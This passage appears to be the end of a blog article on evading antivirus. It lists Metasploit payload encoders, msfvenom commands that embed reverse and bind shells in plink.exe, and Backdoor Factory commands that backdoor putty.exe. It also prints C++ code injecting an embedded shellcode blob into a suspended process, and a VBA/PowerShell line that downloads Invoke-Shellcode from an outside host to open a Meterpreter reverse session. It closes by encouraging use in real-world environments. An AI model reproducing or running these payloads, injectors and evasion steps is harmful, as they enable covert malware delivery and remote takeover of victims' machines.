mipsbe/byte_xori normal Byte XORi Encoder
mipsbe/longxor normal XOR Encoder
mipsle/byte_xori normal Byte XORi Encoder
mipsle/longxor normal XOR Encoder
php/base64 great PHP Base64 Encoder
ppc/longxor normal PPC LongXOR Encoder
ppc/longxor_tag normal PPC LongXOR Encoder
ruby/base64 great Ruby Base64 Encoder
sparc/longxor_tag normal SPARC DWORD XOR Encoder
x64/xor normal XOR Encoder
x64/xor_context normal Hostname-based Context Keyed Payload Encoder
x64/xor_dynamic normal Dynamic key XOR Encoder
x64/zutto_dekiru manual Zutto Dekiru
x86/add_sub manual Add/Sub Encoder
x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder
x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder
x86/avoid_underscore_tolower manual Avoid underscore/tolower
x86/avoid_utf8_tolower manual Avoid UTF8/tolower
x86/bloxor manual BloXor - A Metamorphic Block Based XOR Encoder
x86/bmp_polyglot manual BMP Polyglot
x86/call4_dword_xor normal Call+4 Dword XOR Encoder
x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder
x86/context_stat manual stat(2)-based Context Keyed Payload Encoder
x86/context_time manual time(2)-based Context Keyed Payload Encoder
x86/countdown normal Single-byte XOR Countdown Encoder
x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder
x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder
x86/nonalpha low Non-Alpha Encoder
x86/nonupper low Non-Upper Encoder
x86/opt_sub manual Sub Encoder (optimised)
x86/service manual Register Service
x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder
x86/single_static_bit manual Single Static Bit
x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder
x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder
x86/xor_dynamic normal Dynamic key XOR Encoder
Using Templates and Encoders
Example usage:
msfvenom -p windows/shell_reverse_tcp -x /usr/share/windows-binaries/plink.exe lhost=1.1.1.1 lport=4444 -a x86 --platform win -f exe -o a.exe
msfvenom -p windows/shell/bind_tcp -x /usr/share/windows-binaries/plink.exe lhost=1.1.1.1 lport=4444 -e x86/shikata_ga_nai -i 5 -a x86 -platform win -f exe > b.exe
Veil Encryption:

Schelper:

Obfuscation (PowerShell):
Invoke-Obfuscation -ScriptBlock {echo xss} -Command 'Encoding\1,Launcher\PS\67' -Quiet

This concludes our discussion on shellcode encoding for execution. Other programming languages follow similar principles and will not be enumerated further.
The preceding examples addressed encoding and encryption of shellcode. Let us now explore shellcode injection techniques.
B) Shellcode Injection Obfuscation
A significant number of injection-based evasion techniques incorporate shellcode fragmentation.
The concept of fragmentation is straightforward: analogous to fragmenting dangerous function names in PHP web shell obfuscation, shellcode can be similarly fragmented to evade detection.
Shellcode fragmentation can involve relocating the shellcode within the binary—for instance, by creating a new section, populating it with shellcode, and modifying the entry point to jump to the shellcode address before returning to the original program entry point.
Alternatively, shellcode can be distributed across multiple code caves and executed in segments. This approach is conceptually similar to the Omelet Shellcode technique found in egg-hunt shellcode implementations.
Let us examine some injection examples:
Backdoor Factory (BDF):
https://github.com/secretsquirrel/the-backdoor-factory
*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Loading PE in pefile
[*] Parsing data directories
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Looking for caves that will fit the minimum shellcode length of 410
[*] All caves lengths: 410
############################################################
The following caves can be used to inject code and possibly
continue execution.
**Don't like what you see? Use jump, single, append, or ignore.**
############################################################
[*] Cave 1 length as int: 410
[*] Available caves:
1. Section Name: DATA; Section Begin: 0x5df200 End: 0x665400; Cave begin: 0x65ea07 End: 0x65ec68; Cave Size: 609
3. Section Name: .rdata; Section Begin: 0x66a000 End: 0x66a200; Cave begin: 0x66a013 End: 0x66a200; Cave Size: 493
4. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc8203f End: 0xc82308; Cave Size: 713
5. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc82e1c End: 0xc83050; Cave Size: 564
6. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc830eb End: 0xc83718; Cave Size: 1581
7. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc83b64 End: 0xc840fc; Cave Size: 1432
8. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc843ff End: 0xc846c8; Cave Size: 713
9. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc851dc End: 0xc85410; Cave Size: 564
10. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc854ab End: 0xc859d0; Cave Size: 1317
11. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc86557 End: 0xc86b84; Cave Size: 1581
12. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc86fd0 End: 0xc87568; Cave Size: 1432
13. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc8760a End: 0xc87a32; Cave Size: 1064
14. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc886af End: 0xc88d58; Cave Size: 1705
15. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc8b8b3 End: 0xc8bdd8; Cave Size: 1317
16. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc8eaba End: 0xc8ed65; Cave Size: 683
The -F parameter in BDF enables multi-cave injection.
backdoor-factory -f putty.exe -s show
backdoor-factory -f putty.exe -s iat_reverse_tcp_stager_threaded -H 192.168.15.135 -P 4444
Shellter:
The 'A' option enables section-based injection.

Avet:
root@kali:/tmp/avet/build# leafpad build_win64_meterpreter_rev_tcp_xor_fopen.sh
lhost=192.168.174.134
root@kali:/tmp/avet/build# cd ..
root@kali:/tmp/avet# ./build/build_win64_meterpreter_rev_tcp_xor_fopen.sh
No Arch selected, selecting Arch: x64 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x64/xor
x64/xor succeeded with size 551 (iteration=0)
x64/xor chosen with final size 551
Payload size: 551 bytes
Final size of c file: 2339 bytes
./build/build_win64_meterpreter_rev_tcp_xor_fopen.sh: line 6: ./make_avet: cannot execute binary file: Exec format error
avet.c: In function 'main':
avet.c:122:15: error: 'buf' undeclared (first use in this function)
shellcode = buf;
^
avet.c:122:15: note: each undeclared identifier is reported only once for each function it appears in
Legitimate Process Injection
Shellcode can also be injected into a legitimate running process manually. Example:
#include "stdafx.h"
#include <Windows.h>
#include<stdio.h>
#include "iostream"
using namespace std;
unsigned char shellcode[] =
"\xb8\x72\xd9\xb8\x52\xda\xd8\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1"
"\x56\x83\xc2\x04\x31\x42\x0f\x03\x42\x7d\x3b\x4d\xae\x69\x39"
"\xae\x4f\x69\x5e\x26\xaa\x58\x5e\x5c\xbe\xca\x6e\x16\x92\xe6"
"\x05\x7a\x07\x7d\x6b\x53\x28\x36\xc6\x85\x07\xc7\x7b\xf5\x06"
"\x4b\x86\x2a\xe9\x72\x49\x3f\xe8\xb3\xb4\xb2\xb8\x6c\xb2\x61"
"\x2d\x19\x8e\xb9\xc6\x51\x1e\xba\x3b\x21\x21\xeb\xed\x3a\x78"
"\x2b\x0f\xef\xf0\x62\x17\xec\x3d\x3c\xac\xc6\xca\xbf\x64\x17"
"\x32\x13\x49\x98\xc1\x6d\x8d\x1e\x3a\x18\xe7\x5d\xc7\x1b\x3c"
"\x1c\x13\xa9\xa7\x86\xd0\x09\x0c\x37\x34\xcf\xc7\x3b\xf1\x9b"
"\x80\x5f\x04\x4f\xbb\x5b\x8d\x6e\x6c\xea\xd5\x54\xa8\xb7\x8e"
"\xf5\xe9\x1d\x60\x09\xe9\xfe\xdd\xaf\x61\x12\x09\xc2\x2b\x7a"
"\xfe\xef\xd3\x7a\x68\x67\xa7\x48\x37\xd3\x2f\xe0\xb0\xfd\xa8"
"\x71\xd6\xfd\x67\x39\xb7\x03\x88\x39\x91\xc7\xdc\x69\x89\xee"
"\x5c\xe2\x49\x0e\x89\x9e\x43\x98\xf2\xf6\xfa\xdc\x9b\x04\x03"
"\xcc\x07\x81\xe5\xbe\xe7\xc1\xb9\x7e\x58\xa1\x69\x17\xb2\x2e"
"\x55\x07\xbd\xe5\xfe\xa2\x52\x53\x56\x5b\xca\xfe\x2c\xfa\x13"
"\xd5\x48\x3c\x9f\xdf\xad\xf3\x68\xaa\xbd\xe4\x0e\x54\x3e\xf5"
"\xba\x54\x54\xf1\x6c\x03\xc0\xfb\x49\x63\x4f\x03\xbc\xf0\x88"
"\xfb\x41\xc0\xe3\xca\xd7\x6c\x9c\x32\x38\x6c\x5c\x65\x52\x6c"
"\x34\xd1\x06\x3f\x21\x1e\x93\x2c\xfa\x8b\x1c\x04\xae\x1c\x75"
"\xaa\x89\x6b\xda\x55\xfc\xef\x1d\xa9\x82\xc7\x85\xc1\x7c\x58"
"\x36\x11\x17\x58\x66\x79\xec\x77\x89\x49\x0d\x52\xc2\xc1\x84"
"\x33\xa0\x70\x98\x19\x64\x2c\x99\xae\xbd\xdf\xe0\xdf\x42\x20"
"\x15\xf6\x26\x21\x15\xf6\x58\x1e\xc3\xcf\x2e\x61\xd7\x6b\x20"
"\xd4\x7a\xdd\xab\x16\x28\x1d\xfe";
BOOL injection()
{
wchar_t Cappname[MAX_PATH] = { 0 };
STARTUPINFO si;
PROCESS_INFORMATION pi;
LPVOID lpMalwareBaseAddr;
LPVOID lpnewVictimBaseAddr;
HANDLE hThread;
DWORD dwExitCode;
BOOL bRet = FALSE;
lpMalwareBaseAddr = shellcode;
GetSystemDirectory(Cappname, MAX_PATH);
_tcscat(Cappname, L"\\calc.exe");
printf("Injection program Name:%S\r\n", Cappname);
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
if (CreateProcess(Cappname, NULL, NULL, NULL,
FALSE, CREATE_SUSPENDED
, NULL, NULL, &si, &pi) == 0)
{
return bRet;
}
lpnewVictimBaseAddr = VirtualAllocEx(pi.hProcess
, NULL, sizeof(shellcode) + 1, MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (lpnewVictimBaseAddr == NULL)
{
return bRet;
}
WriteProcessMemory(pi.hProcess, lpnewVictimBaseAddr,
(LPVOID)lpMalwareBaseAddr, sizeof(shellcode) + 1, NULL);
hThread = CreateRemoteThread(pi.hProcess, 0, 0,
(LPTHREAD_START_ROUTINE)lpnewVictimBaseAddr, NULL, 0, NULL);
WaitForSingleObject(pi.hThread, INFINITE);
GetExitCodeProcess(pi.hProcess, &dwExitCode);
TerminateProcess(pi.hProcess, 0);
return bRet;
}
void help(char* proc)
{
printf("%s:[-] start a process and injection shellcode to memory\r\n", proc);
}
int main(int argc, char* argv[])
{
help(argv[0]);
injection();
}



I shall conclude the injection examples here. Consider the question: how can one circumvent API hooking detection? Function substitution offers one approach. For instance, among the Win32 APIs, there exist numerous alternatives to VirtualAlloc that can be employed:

0x03 Technique Combinations
We have discussed various techniques, encompassing the separation approach (loaders executing shellcode, whitelist exploitation for malicious execution), as well as shellcode encoding, encryption, and injection. Each technique individually contributes to evasion to some degree; however, employing any single technique in isolation often presents certain limitations.
The key consideration is combining these techniques to achieve optimal results.
Here is a particularly effective example:
Powershell-Payload-Excel-Delivery
https://github.com/enigma0x3/Powershell-Payload-Excel-Delivery/
This technique employs shellcode to invoke Graeber's VBA macro, which executes PowerShell (optionally encoded) in memory to achieve persistent backdoor access.
Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
objProcess.Create "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('http://192.168.1.127/Invoke-Shellcode')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.1.127 -Lport 1111 -Force", Null, objConfig, intProcessID

C:\PS> Start-Process C:\Windows\SysWOW64\notepad.exe -WindowStyle Hidden
C:\PS> $Proc = Get-Process notepad
C:\PS> Invoke-Shellcode -ProcessId $Proc.Id -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 443 -Verbose
VERBOSE: Requesting meterpreter payload from https://192.168.30.129:443/INITM
VERBOSE: Injecting shellcode into PID: 4004
VERBOSE: Injecting into a Wow64 process.
VERBOSE: Using 32-bit shellcode.
VERBOSE: Shellcode memory reserved at 0x03BE0000
VERBOSE: Emitting 32-bit assembly call stub.
VERBOSE: Thread call stub memory reserved at 0x001B0000
VERBOSE: Shellcode injection complete!
The techniques themselves are static; creativity in their application is paramount. I trust that this article serves as a catalyst for further exploration, encouraging practitioners to combine multiple techniques with ingenuity to achieve their desired outcomes in real-world environments.
Top comments (0)